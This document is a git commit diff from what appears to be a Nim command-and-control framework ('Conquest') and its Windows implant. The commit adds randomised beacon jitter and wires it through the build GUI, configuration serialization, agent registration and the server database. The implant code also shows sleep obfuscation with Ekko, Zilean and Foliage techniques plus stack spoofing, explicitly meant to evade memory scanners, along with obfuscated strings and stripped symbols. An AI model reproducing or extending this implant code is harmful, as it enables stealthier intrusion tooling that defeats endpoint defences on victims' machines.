Implemented jitter.
This commit is contained in:
@@ -15,6 +15,7 @@ port = 37573
|
||||
# General agent settings
|
||||
[agent]
|
||||
sleep = 5
|
||||
jitter = 15
|
||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
# ----------------------------------------------------------
|
||||
|
||||
@@ -29,9 +29,12 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
||||
agentId: generateUUID(),
|
||||
listenerId: Uuid.toString(unpacker.getUint32()),
|
||||
hosts: unpacker.getDataWithLengthPrefix(),
|
||||
sleep: int(unpacker.getUint32()),
|
||||
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
||||
spoofStack: cast[bool](unpacker.getUint8()),
|
||||
sleepSettings: SleepSettings(
|
||||
sleepDelay: unpacker.getUint32(),
|
||||
jitter: unpacker.getUint32(),
|
||||
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
||||
spoofStack: cast[bool](unpacker.getUint8())
|
||||
),
|
||||
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
||||
agentPublicKey: agentKeyPair.publicKey,
|
||||
profile: parseString(unpacker.getDataWithLengthPrefix())
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import winim/lean
|
||||
import winim/inc/tlhelp32
|
||||
import os, system, strformat
|
||||
import os, system, strformat, random
|
||||
|
||||
import ./[cfg, io]
|
||||
import ../../common/[types, utils, crypto]
|
||||
@@ -572,15 +572,21 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
|
||||
print "[-] ", err.msg
|
||||
|
||||
# Sleep obfuscation implemented in various techniques
|
||||
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =
|
||||
proc sleepObfuscate*(sleepSettings: SleepSettings) =
|
||||
|
||||
if sleepDelay == 0:
|
||||
if sleepSettings.sleepDelay == 0:
|
||||
return
|
||||
|
||||
# Initialize required API functions
|
||||
let apis = initApis()
|
||||
|
||||
print fmt"[*] Sleepmask settings: Technique: {$technique}, Delay: {$sleepDelay}ms, Stack spoofing: {$spoofStack}"
|
||||
# Calculate actual sleep delay with jitter
|
||||
let
|
||||
minDelay = float(sleepSettings.sleepDelay) - (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
|
||||
maxDelay = float(sleepSettings.sleepDelay) + (float(sleepSettings.sleepDelay) * (float(sleepSettings.jitter) / 100.0f))
|
||||
delay = int(rand(minDelay .. maxDelay) * 1000)
|
||||
|
||||
print fmt"[*] Sleepmask settings: Technique: {$sleepSettings.sleepTechnique}, Delay: {$delay}ms, Stack spoofing: {$sleepSettings.spoofStack}"
|
||||
|
||||
var img: USTRING = USTRING(Length: 0)
|
||||
var key: USTRING = USTRING(Length: 0)
|
||||
@@ -600,12 +606,12 @@ proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NON
|
||||
key.Length = cast[DWORD](keyBuffer.len())
|
||||
|
||||
# Execute sleep obfuscation technique
|
||||
case technique:
|
||||
case sleepSettings.sleepTechnique:
|
||||
of EKKO:
|
||||
sleepEkko(apis, key, img, sleepDelay, spoofStack)
|
||||
sleepEkko(apis, key, img, delay, sleepSettings.spoofStack)
|
||||
of ZILEAN:
|
||||
sleepZilean(apis, key, img, sleepDelay, spoofStack)
|
||||
sleepZilean(apis, key, img, delay, sleepSettings.spoofStack)
|
||||
of FOLIAGE:
|
||||
sleepFoliage(apis, key, img, sleepDelay)
|
||||
sleepFoliage(apis, key, img, delay)
|
||||
of NONE:
|
||||
sleep(sleepDelay)
|
||||
sleep(delay)
|
||||
|
||||
@@ -31,7 +31,7 @@ proc main() =
|
||||
]#
|
||||
while true:
|
||||
# Sleep obfuscation to evade memory scanners
|
||||
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
|
||||
sleepObfuscate(ctx.sleepSettings)
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
print "\n", fmt"[*] [{date}] Checking in."
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
-d:release
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="511"
|
||||
-d:VERBOSE="false"
|
||||
-d:VERBOSE="true"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -164,11 +164,11 @@ proc getProductType(): ProductType =
|
||||
|
||||
# Using the 'registry' module, we can get the exact registry value
|
||||
case getUnicodeValue(protect("""SYSTEM\CurrentControlSet\Control\ProductOptions"""), protect("ProductType"), HKEY_LOCAL_MACHINE)
|
||||
of "WinNT":
|
||||
of protect("WinNT"):
|
||||
return WORKSTATION
|
||||
of "ServerNT":
|
||||
of protect("ServerNT"):
|
||||
return SERVER
|
||||
of "LanmanNT":
|
||||
of protect("LanmanNT"):
|
||||
return DC
|
||||
|
||||
proc getOSVersion(): string =
|
||||
@@ -218,7 +218,8 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
|
||||
process: string.toBytes(getProcessExe()),
|
||||
pid: cast[uint32](getProcessId()),
|
||||
isElevated: cast[uint8](isElevated()),
|
||||
sleep: cast[uint32](ctx.sleep),
|
||||
sleep: cast[uint32](ctx.sleepSettings.sleepDelay),
|
||||
jitter: cast[uint32](ctx.sleepSettings.jitter),
|
||||
modules: cast[uint32](MODULES)
|
||||
)
|
||||
)
|
||||
@@ -239,6 +240,7 @@ proc serializeRegistrationData*(ctx: AgentCtx, data: var AgentRegistrationData):
|
||||
.add(data.metadata.pid)
|
||||
.add(data.metadata.isElevated)
|
||||
.add(data.metadata.sleep)
|
||||
.add(data.metadata.jitter)
|
||||
.add(data.metadata.modules)
|
||||
|
||||
let metadata = packer.pack()
|
||||
|
||||
@@ -38,14 +38,7 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor
|
||||
let event = Event(
|
||||
eventType: CLIENT_AGENT_BUILD,
|
||||
timestamp: now().toTime().toUnix(),
|
||||
data: %*{
|
||||
"listenerId": buildInformation.listenerId,
|
||||
"sleepDelay": buildInformation.sleepDelay,
|
||||
"sleepTechnique": cast[uint8](buildInformation.sleepTechnique),
|
||||
"spoofStack": buildInformation.spoofStack,
|
||||
"verbose": buildInformation.verbose,
|
||||
"modules": buildInformation.modules
|
||||
}
|
||||
data: %buildInformation
|
||||
)
|
||||
connection.ws.sendEvent(event, connection.sessionKey)
|
||||
|
||||
|
||||
@@ -149,7 +149,7 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} =
|
||||
proc displayHelp(component: ConsoleComponent) =
|
||||
for module in getModules(component.agent.modules):
|
||||
for cmd in module.commands:
|
||||
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
|
||||
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description)
|
||||
|
||||
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
||||
var usage = command.name & " " & command.arguments.mapIt(
|
||||
|
||||
@@ -9,7 +9,8 @@ export addItem
|
||||
type
|
||||
AgentModalComponent* = ref object of RootObj
|
||||
listener: int32
|
||||
sleepDelay: uint32
|
||||
sleepDelay: uint32
|
||||
jitter: int32
|
||||
sleepMask: int32
|
||||
spoofStack: bool
|
||||
verbose: bool
|
||||
@@ -22,6 +23,7 @@ proc AgentModal*(): AgentModalComponent =
|
||||
result = new AgentModalComponent
|
||||
result.listener = 0
|
||||
result.sleepDelay = 5
|
||||
result.jitter = 15
|
||||
result.sleepMask = 0
|
||||
result.spoofStack = false
|
||||
result.verbose = false
|
||||
@@ -45,6 +47,7 @@ proc AgentModal*(): AgentModalComponent =
|
||||
proc resetModalValues*(component: AgentModalComponent) =
|
||||
component.listener = 0
|
||||
component.sleepDelay = 5
|
||||
component.jitter = 15
|
||||
component.sleepMask = 0
|
||||
component.spoofStack = false
|
||||
component.verbose = false
|
||||
@@ -86,6 +89,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
igInputScalar("##InputSleepDelay", ImGuiDataType_U32.int32, addr component.sleepDelay, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
|
||||
|
||||
# Jitter
|
||||
igText("Jitter: ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
igSliderInt("##InputJitter", addr component.jitter, 0, 100, "%d%%", ImGui_SliderFlags_None.int32)
|
||||
|
||||
# Agent sleep obfuscation technique dropdown selection
|
||||
igText("Sleep mask: ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
@@ -145,9 +154,12 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
||||
|
||||
result = AgentBuildInformation(
|
||||
listenerId: listeners[component.listener].listenerId,
|
||||
sleepDelay: component.sleepDelay,
|
||||
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
|
||||
spoofStack: component.spoofStack,
|
||||
sleepSettings: SleepSettings(
|
||||
sleepDelay: component.sleepDelay,
|
||||
jitter: cast[uint32](component.jitter),
|
||||
sleepTechnique: cast[SleepObfuscationTechnique](component.sleepMask),
|
||||
spoofStack: component.spoofStack
|
||||
),
|
||||
verbose: component.verbose,
|
||||
modules: modules
|
||||
)
|
||||
|
||||
@@ -185,6 +185,7 @@ type
|
||||
pid*: uint32
|
||||
isElevated*: uint8
|
||||
sleep*: uint32
|
||||
jitter*: uint32
|
||||
modules*: uint32
|
||||
|
||||
AgentRegistrationData* = object
|
||||
@@ -208,6 +209,7 @@ type
|
||||
pid*: int
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
jitter*: int
|
||||
tasks*: seq[Task]
|
||||
modules*: uint32
|
||||
firstCheckin*: int64
|
||||
@@ -229,6 +231,7 @@ type
|
||||
pid*: int
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
jitter*: int
|
||||
modules*: uint32
|
||||
firstCheckin*: int64
|
||||
latestCheckin*: int64
|
||||
@@ -312,13 +315,17 @@ type
|
||||
profile*: Profile
|
||||
client*: WsConnection
|
||||
|
||||
SleepSettings* = ref object
|
||||
sleepDelay*: uint32
|
||||
jitter*: uint32
|
||||
sleepTechnique*: SleepObfuscationTechnique
|
||||
spoofStack*: bool
|
||||
|
||||
AgentCtx* = ref object
|
||||
agentId*: string
|
||||
listenerId*: string
|
||||
hosts*: string
|
||||
sleep*: int
|
||||
sleepTechnique*: SleepObfuscationTechnique
|
||||
spoofStack*: bool
|
||||
sleepSettings*: SleepSettings
|
||||
sessionKey*: Key
|
||||
agentPublicKey*: Key
|
||||
profile*: Profile
|
||||
@@ -357,10 +364,8 @@ type
|
||||
items*: seq[ConsoleItem]
|
||||
|
||||
AgentBuildInformation* = ref object
|
||||
listenerId*: string
|
||||
sleepDelay*: uint32
|
||||
sleepTechnique*: SleepObfuscationTechnique
|
||||
spoofStack*: bool
|
||||
listenerId*: string
|
||||
sleepSettings*: SleepSettings
|
||||
verbose*: bool
|
||||
modules*: uint32
|
||||
|
||||
|
||||
@@ -50,11 +50,11 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
# Parse task parameter
|
||||
let delay = int(Bytes.toUint32(task.args[0].data))
|
||||
let delay = Bytes.toUint32(task.args[0].data)
|
||||
|
||||
# Updating sleep in agent context
|
||||
print fmt" [>] Setting sleep delay to {delay} seconds."
|
||||
ctx.sleep = delay
|
||||
ctx.sleepSettings.sleepDelay = delay
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
@@ -69,21 +69,21 @@ when defined(agent):
|
||||
case int(task.argCount):
|
||||
of 0:
|
||||
# Retrieve sleepmask settings
|
||||
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}"
|
||||
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}, Stack spoofing: {$ctx.sleepSettings.spoofStack}"
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
|
||||
|
||||
of 1:
|
||||
# Only set the sleepmask technique
|
||||
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
|
||||
ctx.sleepTechnique = technique
|
||||
ctx.sleepSettings.sleepTechnique = technique
|
||||
|
||||
else:
|
||||
# Set sleepmask technique and stack-spoofing configuration
|
||||
let technique = parseEnum[SleepObfuscationTechnique](Bytes.toString(task.args[0].data).toUpperAscii())
|
||||
ctx.sleepTechnique = technique
|
||||
ctx.sleepSettings.sleepTechnique = technique
|
||||
|
||||
let spoofStack = cast[bool](task.args[1].data[0]) # BOOLEAN values are just 1 byte
|
||||
ctx.spoofStack = spoofStack
|
||||
ctx.sleepSettings.spoofStack = spoofStack
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto]
|
||||
|
||||
const PLACEHOLDER = "PLACEHOLDER"
|
||||
|
||||
proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool): seq[byte] =
|
||||
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] =
|
||||
|
||||
var packer = Packer.init()
|
||||
|
||||
@@ -19,9 +19,10 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT
|
||||
packer.addDataWithLengthPrefix(string.toBytes(listener.hosts))
|
||||
|
||||
# Sleep settings
|
||||
packer.add(uint32(sleep))
|
||||
packer.add(uint8(sleepTechnique))
|
||||
packer.add(uint8(spoofStack))
|
||||
packer.add(sleepSettings.sleepDelay)
|
||||
packer.add(sleepSettings.jitter)
|
||||
packer.add(uint8(sleepSettings.sleepTechnique))
|
||||
packer.add(uint8(sleepSettings.spoofStack))
|
||||
|
||||
# Public key for key exchange
|
||||
packer.addData(cq.keyPair.publicKey)
|
||||
@@ -147,18 +148,18 @@ proc patch(cq: Conquest, unpatchedExePath: string, configuration: seq[byte]): se
|
||||
return @[]
|
||||
|
||||
# Agent generation
|
||||
proc agentBuild*(cq: Conquest, listenerId: string, sleepDelay: int, sleepTechnique: SleepObfuscationTechnique, spoofStack: bool, verbose: bool, modules: uint32): seq[byte] =
|
||||
proc agentBuild*(cq: Conquest, agentBuildInformation: AgentBuildInformation): seq[byte] =
|
||||
|
||||
# Verify that listener exists
|
||||
if not cq.dbListenerExists(listenerId.toUpperAscii):
|
||||
cq.error(fmt"Listener {listenerId.toUpperAscii} does not exist.")
|
||||
if not cq.dbListenerExists(agentBuildInformation.listenerId):
|
||||
cq.error(fmt"Listener {agentBuildInformation.listenerId} does not exist.")
|
||||
return
|
||||
|
||||
let listener = cq.listeners[listenerId.toUpperAscii]
|
||||
let listener = cq.listeners[agentBuildInformation.listenerId]
|
||||
|
||||
var config = cq.serializeConfiguration(listener, sleepDelay, sleepTechnique, spoofStack)
|
||||
var config = cq.serializeConfiguration(listener, agentBuildInformation.sleepSettings)
|
||||
|
||||
let unpatchedExePath = cq.compile(config.len, modules, verbose)
|
||||
let unpatchedExePath = cq.compile(config.len(), agentBuildInformation.modules, agentBuildInformation.verbose)
|
||||
if unpatchedExePath.isEmptyOrWhitespace():
|
||||
return
|
||||
|
||||
|
||||
@@ -108,6 +108,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
|
||||
pid = unpacker.getUint32()
|
||||
isElevated = unpacker.getUint8()
|
||||
sleep = unpacker.getUint32()
|
||||
jitter = unpacker.getUint32()
|
||||
modules = unpacker.getUint32()
|
||||
|
||||
return Agent(
|
||||
@@ -124,6 +125,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
|
||||
pid: int(pid),
|
||||
elevated: isElevated != 0,
|
||||
sleep: int(sleep),
|
||||
jitter: int(jitter),
|
||||
modules: modules,
|
||||
tasks: @[],
|
||||
firstCheckin: now().toTime().toUnix(),
|
||||
|
||||
@@ -19,6 +19,7 @@ proc `%`*(agent: Agent): JsonNode =
|
||||
result["pid"] = %agent.pid
|
||||
result["elevated"] = %agent.elevated
|
||||
result["sleep"] = %agent.sleep
|
||||
result["jitter"] = %agent.jitter
|
||||
result["modules"] = %agent.modules
|
||||
result["firstCheckin"] = %agent.firstCheckin
|
||||
result["latestCheckin"] = %agent.latestCheckin
|
||||
|
||||
@@ -36,6 +36,7 @@ proc dbInit*(cq: Conquest) =
|
||||
os TEXT NOT NULL,
|
||||
elevated BOOLEAN NOT NULL,
|
||||
sleep INTEGER NOT NULL,
|
||||
jitter INTEGER NOT NULL,
|
||||
modules INTEGER NOT NULL,
|
||||
firstCheckin INTEGER NOT NULL,
|
||||
latestCheckin INTEGER NOT NULL,
|
||||
|
||||
@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
|
||||
let sessionKeyBlob = agent.sessionKey.toSeq()
|
||||
|
||||
conquestDb.exec("""
|
||||
INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
||||
INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, jitter, modules, firstCheckin, latestCheckin, sessionKey)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
||||
let (agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
||||
let (agentId, listenerId, sleep, jitter, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||
|
||||
# Convert session key blob back to array
|
||||
var sessionKey: Key
|
||||
@@ -47,6 +47,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
||||
agentId: agentId,
|
||||
listenerId: listenerId,
|
||||
sleep: sleep,
|
||||
jitter: jitter,
|
||||
pid: pid,
|
||||
username: username,
|
||||
impersonationToken: impersonationToken,
|
||||
@@ -72,50 +73,6 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
||||
|
||||
return agents
|
||||
|
||||
proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
|
||||
var agents: seq[Agent] = @[]
|
||||
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents WHERE listenerId = ?;", listenerName):
|
||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||
|
||||
# Convert session key blob back to array
|
||||
var sessionKey: Key
|
||||
if sessionKeyBlob.len == 32:
|
||||
copyMem(sessionKey[0].addr, sessionKeyBlob[0].unsafeAddr, 32)
|
||||
else:
|
||||
# Handle invalid session key - log error but continue
|
||||
cq.warning("Invalid session key length for agent: ", agentId)
|
||||
|
||||
let a = Agent(
|
||||
agentId: agentId,
|
||||
listenerId: listenerId,
|
||||
sleep: sleep,
|
||||
pid: pid,
|
||||
username: username,
|
||||
hostname: hostname,
|
||||
domain: domain,
|
||||
ipInternal: ipInternal,
|
||||
ipExternal: ipExternal,
|
||||
os: os,
|
||||
elevated: elevated,
|
||||
firstCheckin: cast[int64](firstCheckin),
|
||||
latestCheckin: cast[int64](firstCheckin),
|
||||
process: process,
|
||||
modules: cast[uint32](modules),
|
||||
sessionKey: sessionKey,
|
||||
tasks: @[] # Initialize empty tasks
|
||||
)
|
||||
agents.add(a)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
cq.error(getCurrentExceptionMsg())
|
||||
|
||||
return agents
|
||||
|
||||
proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
@@ -91,15 +91,8 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
||||
cq.listenerStop(listenerId)
|
||||
|
||||
of CLIENT_AGENT_BUILD:
|
||||
let
|
||||
listenerId = event.data["listenerId"].getStr()
|
||||
sleepDelay = event.data["sleepDelay"].getInt()
|
||||
sleepTechnique = cast[SleepObfuscationTechnique](event.data["sleepTechnique"].getInt())
|
||||
spoofStack = event.data["spoofStack"].getBool()
|
||||
verbose = event.data["verbose"].getBool()
|
||||
modules = cast[uint32](event.data["modules"].getInt())
|
||||
|
||||
let payload = cq.agentBuild(listenerId, sleepDelay, sleepTechnique, spoofStack, verbose, modules)
|
||||
let agentBuildInformation = event.data.to(AgentBuildInformation)
|
||||
let payload = cq.agentBuild(agentBuildInformation)
|
||||
if payload.len() != 0:
|
||||
cq.client.sendAgentPayload(payload)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user